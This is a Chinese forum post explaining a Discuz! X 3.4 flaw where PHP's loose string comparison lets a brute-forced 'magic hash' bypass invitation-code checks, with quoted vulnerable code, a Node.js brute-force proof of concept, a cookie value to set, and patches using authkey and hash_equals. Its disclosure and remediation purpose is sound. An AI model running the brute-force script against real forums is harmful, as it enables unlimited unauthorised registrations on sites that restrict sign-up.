民审-M

Discuz!X 3.4用20万个请求 永久绕过注册邀请码漏洞修复

作者:民审-M   发布时间:2017-08-14 14:15   回复数:0   浏览数:2367
民审-M
23670民审-M金牌草根
2017-08-14 14:15:30
23670 2017-08-14 14:15:30
背景
在 Discuz! X 发布前,Discuz! 就有邀请注册功能。管理员可以通过开启邀请注册,让游客需要邀请码注册。根据论坛运营的性质,游客需要通过他人邀请,或者通过分享等获取邀请码。
分析过程管理“专用”的批量邀请链接
在 Discuz! X 系列中,为了方便论坛的运营,Discuz! 加入了一种批量邀请链接。管理员可以发布这个链接,让无限用户不限次数的注册:
[color=rgb(34, 49, 63)]
这个链接的显示条件是:1. 论坛开启了邀请注册功能 2.登录用户对应的用户组有邀请权限 3.该用户组分享邀请码的价格是 0
需要指出的是,论坛中的所有用户都有这个链接,只是不符合上述条件,这个链接不会在前台显示。
[indent]
home.php?mod=invite&u=1&c=7854219ad4fd3d1b
[/indent]
观察链接,主要有 u 和 c 两个参数,其中 u 是邀请者的 uid,c 是用于校验 u 的“签名”。换句话说,如果 c 的生成算法/验证方式有漏洞,相当于可以获取任意 uid 的邀请链接权限,我们先来看看 c 的生成算法。
生成算法
文件: source/include/spacecp/spacecp_invite.php

    [*]function getinviteurl($inviteid, $invitecode, $appid) {
    [*]  global $_G;
    [*]
    [*]  if($inviteid && $invitecode) {
    [*]    $inviteurl = getsiteurl()."home.php?mod=invite&id={$inviteid}&c={$invitecode}";
    [*]  } else { // 批量邀请链接走的这个逻辑
    [*]   // space_key 就是 c 的生成函数。注意这里的 $appid 用不到,传值为空
    [*]    $invite_code = space_key($_G['uid', $appid);
    [*]    $inviteapp = $appid?"&app=$appid":'';
    [*]    $inviteurl = getsiteurl()."home.php?mod=invite&u=$_G[uid]&c=$invite_code{$inviteapp}";
    [*]  }
    [*]  return $inviteurl;
    [*]}

文件: source/function/function_core.php

    [*]function space_key($uid, $appid=0) {
    [*]  global $_G;
    [*]  return substr(md5($_G['setting'['siteuniqueid'.'|'.$uid.(empty($appid)?'':'|'.$appid)), 8, 16);
    [*]}

其中 $appid 默认为 0,即 c 就是 md5($siteuniqueid.'|'.$uid)的中间 16 个字符。
也就是说,只要有 siteuniqueid,就可以生成出任意 $uid 的 c 签名。站点的 siteuniqueid 怎么获得?嗯,看了一下 Discuz 代码,得出的答案是:一般获取不到。接下来看看 c 的验证方式。
[indent]
注意:DZ建站学习研究分享的部分应用在安装中会上报 siteuniqueid,这些应用的开发者或许就知道该站点的 siteuniqueid。这是一个小安全漏洞,但不是本文的主题。
[/indent]验证方式1. 邀请引导页
邀请引导页即我们上面提到的 home.php?mod=invite&u=****&c=****
文件: source/module/home/home_invite.php

    [*]} elseif ($uid) {
    [*]
    [*]  $id = 0;
    [*] // 生成用于比对的 $invite_code (签名)
    [*]  $invite_code = space_key($uid, $appid);
    [*] // [1] 将用户提交的 c 签名与 $invite_code 进行比较
    [*]  if($_GET['c' != $invite_code) {
    [*]    showmessage('invite_code_error', '', array(), array('return' => true));
    [*]  }
    [*]  $inviteuser = getuserbyuid($uid);
    [*]  loadcache('usergroup_'.$inviteuser['groupid');
    [*] // [2] 邀请者 uid 所在的用户组的邀请码分享价格为 0
    [*]  if(!empty($_G['cache'['usergroup_'.$inviteuser['groupid') && $_G['cache'['usergroup_'.$inviteuser['groupid'['inviteprice') {
    [*]    showmessage('invite_code_error', '', array(), array('return' => true));
    [*]  }
    [*] // 通过以上 [1] [2] 两个判断后,设置 cookies
    [*]  $cookievar = "$uid,$invite_code,$appid";
    [*]}

看似两处判断都很合理,没有问题。其实 [1] 处的判断是有漏洞的。

    [*]使用普通的逻辑符号进行比较,有[color=rgb(34, 49, 63)]时序攻击(Timing attack)漏洞
    [*]使用不等于(!=),而不是不全等(!==)进行比较,有字符串比较漏洞。
其中字符串比较漏洞的利用较简单,这里我们讨论看看。
在 php 中执行 var_dump("0" == "0e12345678901234"),结果是 true。这是因为 php 将后者当作科学计数法来解析,解析结果是 0 (0 * 10 ^ 12345678901234 = 0)。因此比较结果为 true。
c 的值是可控的,如此一来,我们只需让 space_key 生成出一个形如 0e12345678901234 的字符串即可绕过 [1] 处的判断,有办法做到吗?
回到上面的生成算法,space_key 是 md5($siteuniqueid.'|'.$uid)的中间 16 个字符,而 md5 的 hex 结果恰恰是在 [0-9a-f] 之间,也就是完全有可能生成符合规则的漏洞字符串。有多大的几率呢?
[indent]
(1/16)^2 * (10/16)^14 = 0.00054210%
[/indent]
换句话说,大约每生成 20 万次,就能出现一个 0e[0-9]{14} 形式的字符串,用以绕过这个判断。20 万个 http 请求在实践中是可行的。
因为这个页面只是生成一串用户可控的 cookies 用于注册页面:$uid,$invite_code,$appid,我们不讨论 [2] 的判断(条件有些复杂),直接看注册页面的邀请链接验证代码。
2. 注册页面
文件:source/function/function_member.php

    [*]function getinvite() {
    [*]...
    [*] // 接收到 cookies,进入条件判断
    [*]  } elseif($cookiecount == 3) {
    [*]    $uid = intval($cookies[0);
    [*]    $code = trim($cookies[1);
    [*]    $appid = intval($cookies[2);
    [*]
    [*]    $invite_code = space_key($uid, $appid);
    [*]   // [1] 跟上面一模一样的判断方式,依然可以绕过
    [*]    if($code == $invite_code) {
    [*]      $inviteprice = 0;
    [*]      $member = getuserbyuid($uid);
    [*]     // 这里假设这个 $uid 对应的用户不存在,那取出来的结果为 false, 不进入下面的判断
    [*]      if($member) {
    [*]        $usergroup = C::t('common_usergroup')->fetch($member['groupid');
    [*]        $inviteprice = $usergroup['inviteprice';
    [*]      }
    [*]     // $inviteprice 为 0,不进入下面的判断
    [*]      if($inviteprice > 0) return array();
    [*]     // 成功将提交的 $uid 设置进变量 ^_^
    [*]      $result['uid' = $uid;
    [*]      $result['appid' = $appid;
    [*]    }
    [*]  }
    [*] // 通过验证
    [*]  if($result['uid') {
    [*]    $member = getuserbyuid($result['uid');
    [*]    $result['username' = $member['username';
    [*]  } else {
    [*]    dsetcookie('invite_auth', '');
    [*]  }
    [*] // 返回“邀请码有效”的结果,允许注册 ^_^
    [*]  return $result;
    [*]}

注册页面只要过了 [1] 处的判断,并传入一个不存在的、并且能生成出指定格式的签名的邀请者 $uid,此后的校验畅通无阻,直接返回邀请码有效。
至此,只需通过 20 万个请求爆破出一个可生成出特殊格式 space_key 的 uid,即可通过该 uid 和为 “0” 的 c 签名,绕过邀请码无限注册用户。
PoC

    [*]const fetch = require('node-fetch')
    [*]
    [*];(async function () {
    [*]    let start = 1
    [*]    let max = 500000
    [*]    for (let i = start; i <= max; i++) {
    [*]        ;(async function (i) {
    [*]            if (await test(i)) {
    [*]                console.log('※found! uid: ' + i)
    [*]            }
    [*]        })(i)
    [*]        await sleep(20)
    [*]        if (i % 200 === 0) {
    [*]            console.log('current: ' + i + '/' + max)
    [*]        }
    [*]    }
    [*]})()
    [*]
    [*]async function test(uid) {
    [*]    let res = await fetch('http://localhost/dz/home.php?mod=invite&u=' + uid + '&c=0')
    [*]    let text = await res.text()
    [*]    return !!text.match('bm_h mt') ||     // 成功进入邀请注册页面,直接注册
    [*]           !!text.match('用户空间不存在')   // 成功绕过 c 签名判断,虽然 uid 不存在,依然可以设置 cookies,直接在注册页面注册
    [*]}
    [*]
    [*]function sleep(ms) {
    [*]  return new Promise(resolve => setTimeout(resolve, ms))
    [*]}

[color=rgb(34, 49, 63)]
设置一下 Cookies: Edb6_2132_invite_auth=194077,0,0
[color=rgb(34, 49, 63)]
[color=rgb(34, 49, 63)]
修复
1. siteuniqueid 易被插件开发者获得,一旦拥有 siteuniqueid,无需爆破即可直接生成邀请链接。建议修改使用 authkey 生成。
文件: source/function/function_core.php
查找

    [*]return substr(md5($_G['setting'['siteuniqueid'.'|'.$uid.(empty($appid)?'':'|'.$appid)), 8, 16);

替换为

    [*]return substr(md5($_G['config'['security'['authkey'.'|DZXINVITE|'.$uid.(empty($appid)?'':'|'.$appid)), 8, 16);

2. 将(不)等于比较改为[color=rgb(34, 49, 63)]防止时序攻击的(不)全等比较函数
文件: source/module/home/home_invite.php
查找

    [*]if($_GET['c' != $invite_code) {

替换为

    [*]if(!hash_equals($_GET['c', $invite_code)) {

文件: source/function/function_member.php
查找

    [*]if($code == $invite_code) {

替换为

    [*]if(hash_equals($code, $invite_code)) {

[indent]
注意:hash_equals 函数只支持 PHP >= 5.6.0,旧版 PHP 需自行实现该函数。
[/indent]
3. 对于不存在的邀请者 uid,不允许注册。
4. 对于没有邀请权限的邀请者(目前只判断邀请码价格是否为 0),不允许注册。
修复 1、2 后,问题 3、4 影响不大。修复方式略。

游客
登录后才可以回帖,登录 或者 注册